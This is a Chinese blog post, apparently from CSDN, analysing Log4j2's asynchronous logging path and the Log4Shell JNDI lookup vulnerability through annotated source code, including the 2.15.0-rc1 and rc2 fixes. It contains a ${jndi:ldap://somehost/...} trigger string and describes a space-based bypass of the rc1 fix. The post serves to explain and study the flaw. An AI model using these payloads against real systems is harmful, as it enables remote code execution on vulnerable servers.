Log4j2异步日志Disruptor及lookups远程执行漏洞详解

Log4j2异步日志核心流程和涉及的组件

在这里插入图片描述
[基于log4j 2.x版本]

两个主要组件Logger、Appender,分别对应配置文件中的两个配置项

<Appenders></Appenders>
<Loggers></Loggers>

开启全局异步,log4j2.component.properties文件中添加属性.

Log4jContextSelector=org.apache.logging.log4j.core.async.AsyncLoggerContextSelector

开启异步后Logger会使用异步日志,即图中AsyncLoggerDisruptor(依赖lmax.Disruptor的无锁设计实现高性能)实现异步Logger.

Appender组件默认均为异步,即图中AsyncAppender(初始化长度默认为1024的BlockingQueue),AsyncThread是真正消费日志事件写入文件或者其他Appender的处理线程.

[如下源码分析中增加注释]

lookups漏洞

log.info("${jndi:ldap://somehost/resource}");
日志中包含此种格式信息可触发此漏洞,结合JDNI注入,攻击者可执行任意代码

org.apache.logging.log4j.core.appender.AsyncAppender.AsyncThread

        /**
         * 调用Appender
         * Calls {@link AppenderControl#callAppender(LogEvent) callAppender} on all registered 
         */
        boolean callAppenders(final LogEvent event) {
            boolean success = false;
            //循环调用配置的多个Appender
            for (final AppenderControl control : appenders) {
                try {
                    control.callAppender(event);
                    success = true;
                } catch (final Exception ex) {
                    // If no appender is successful the error appender will get it.
                }
            }
            return success;
        }

org.apache.logging.log4j.core.appender.AbstractOutputStreamAppender#directEncodeEvent

    protected void directEncodeEvent(final LogEvent event) {
    	//根据配置格式输出进行编码,并根据配置执行lookup流程
        getLayout().encode(event, manager);
        if (this.immediateFlush || event.isEndOfBatch()) {
            manager.flush();
        }
    }

转换为文本org.apache.logging.log4j.core.layout.PatternLayout#toText

    /**
     * 转换LogEvent为String
     */
    private StringBuilder toText(final Serializer2 serializer, final LogEvent event,
            final StringBuilder destination) {
        return serializer.toSerializable(event, destination);
    }

    private static class PatternSerializer implements Serializer, Serializer2 {
        @Override
        public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
            final int len = formatters.length;
            //格式化参数,log4j  <= 2.14.0版本默认转换器为MessagePatternConverter
            //log4j2 2.15.0版本为SimpleMessagePatternConverter
            for (int i = 0; i < len; i++) {
                formatters[i].format(event, buffer);
            }
            if (replace != null) { // creates temporary objects
                String str = buffer.toString();
                str = replace.format(str);
                buffer.setLength(0);
                buffer.append(str);
            }
            return buffer;
        }
    }

先看log4j < 2.15.0版本,
org.apache.logging.log4j.core.pattern.MessagePatternConverter#format


    /**
     * 属性取值为系统变量log4j2.formatMsgNoLookups
     */
    private final boolean noLookups;
    
    /**
     * {@inheritDoc}
     */
    @Override
    public void format(final LogEvent event, final StringBuilder toAppendTo) {
        final Message msg = event.getMessage();
        if (msg instanceof StringBuilderFormattable) {

            final boolean doRender = textRenderer != null;
            final StringBuilder workingBuilder = doRender ? new StringBuilder(80) : toAppendTo;

            final int offset = workingBuilder.length();
            if (msg instanceof MultiFormatStringBuilderFormattable) {
                ((MultiFormatStringBuilderFormattable) msg).formatTo(formats, workingBuilder);
            } else {
                ((StringBuilderFormattable) msg).formatTo(workingBuilder);
            }

            //是否执行lookup,noLookups属性默认值为系统变量log4j2.formatMsgNoLookups
            if (config != null && !noLookups) {
                for (int i = offset; i < workingBuilder.length() - 1; i++) {
                    if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
                        final String value = workingBuilder.substring(offset, workingBuilder.length());
                        workingBuilder.setLength(offset);
                        workingBuilder.append(config.getStrSubstitutor().replace(event, value));
                    }
                }
            }
            if (doRender) {
                textRenderer.render(workingBuilder, toAppendTo);
            }
            return;
        }
        if (msg != null) {
            String result;
            if (msg instanceof MultiformatMessage) {
                result = ((MultiformatMessage) msg).getFormattedMessage(formats);
            } else {
                result = msg.getFormattedMessage();
            }
            if (result != null) {
                toAppendTo.append(config != null && result.contains("${")
                        ? config.getStrSubstitutor().replace(event, result) : result);
            } else {
                toAppendTo.append("null");
            }
        }
    }
	
    /**
     * 解析替换变量
     */
    protected boolean substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length) {
        return substitute(event, buf, offset, length, null) > 0;
    }
	
    /**
     * 解析${}变量
     */
    protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
                                     final int startPos, final int endPos) {
        final StrLookup resolver = getVariableResolver();
        if (resolver == null) {
            return null;
        }
        return resolver.lookup(event, variableName);
    }
	
    /**
     * Looks up a named object through this JNDI context.
     *
     */
    public <T> T lookup(final String name) throws NamingException {
        //执行JNDI
        return (T) this.context.lookup(name);
    }

log4j2 2.15.0-rc1版本的修复
org.apache.logging.log4j.core.layout.PatternLayout.SerializerBuilder#build
创建MessagePatternConverter的代码:

public static MessagePatternConverter newInstance(final Configuration config, final String[] options) {
        boolean lookups = loadLookups(options);
        String[] formats = withoutLookupOptions(options);
        TextRenderer textRenderer = loadMessageRenderer(formats);
        MessagePatternConverter result = formats == null || formats.length == 0
                ? SimpleMessagePatternConverter.INSTANCE
                : new FormattedMessagePatternConverter(formats);
        if (lookups && config != null) {
            result = new LookupMessagePatternConverter(result, config);
        }
        if (textRenderer != null) {
            result = new RenderingPatternConverter(result, textRenderer);
        }
        return result;
    }

默认创建SimpleMessagePatternConverter,此转换器默认不会执行lookup
如果需要开启lookup,需要patternLayout属性值{lookups}

<property name="patternLayout">%m{lookups}%n</property>

2.15.0-rc1版本开启lookups后,则会创建LookupMessagePatternConverter,

private static final class LookupMessagePatternConverter extends MessagePatternConverter {

        @Override
        public void format(final LogEvent event, final StringBuilder toAppendTo) {
            int start = toAppendTo.length();
            delegate.format(event, toAppendTo);
            int indexOfSubstitution = toAppendTo.indexOf("${", start);
            if (indexOfSubstitution >= 0) {
                //执行lookup,与之前版本一致
                config.getStrSubstitutor()
                        .replaceIn(event, toAppendTo, indexOfSubstitution, toAppendTo.length() - indexOfSubstitution);
            }
        }
    }

JNDI默认协议只支持:java, ldap, ldaps 三种, 且只允许本地Hosts
rc1版本的修复存在的问题,是如果格式化参数存在空格,lookup仍然会被触发,如下

log.info("jndi:ldap://somehost/空格resource")

org.apache.logging.log4j.core.net.JndiManager#lookup

public synchronized <T> T lookup(final String name) throws NamingException {
        try {
            //如果uri中包含空格,new URI会抛格式异常,继续执行lookup
            URI uri = new URI(name);
            if (uri.getScheme() != null) {
                if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                    LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
                    return null;
                }
                //省略其他代码
                ......
            }
        } catch (URISyntaxException ex) {
            // This is OK.
        }
        return (T) this.context.lookup(name);
    }

2.15.0-rc2的修复版本的一处改动,URI格式错误后直接返回空,如下:

public synchronized <T> T lookup(final String name) throws NamingException {
        try {
            //如果uri中包含空格,new URI会抛格式异常,继续执行lookup
            URI uri = new URI(name);
            if (uri.getScheme() != null) {
                if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                    LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
                    return null;
                }
                //省略其他代码
                ......
            }
        } catch (URISyntaxException ex) {
            LOGGER.warn("Invalid JNDI URI - {}", name);
            return null;
        }
        return (T) this.context.lookup(name);
    }
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值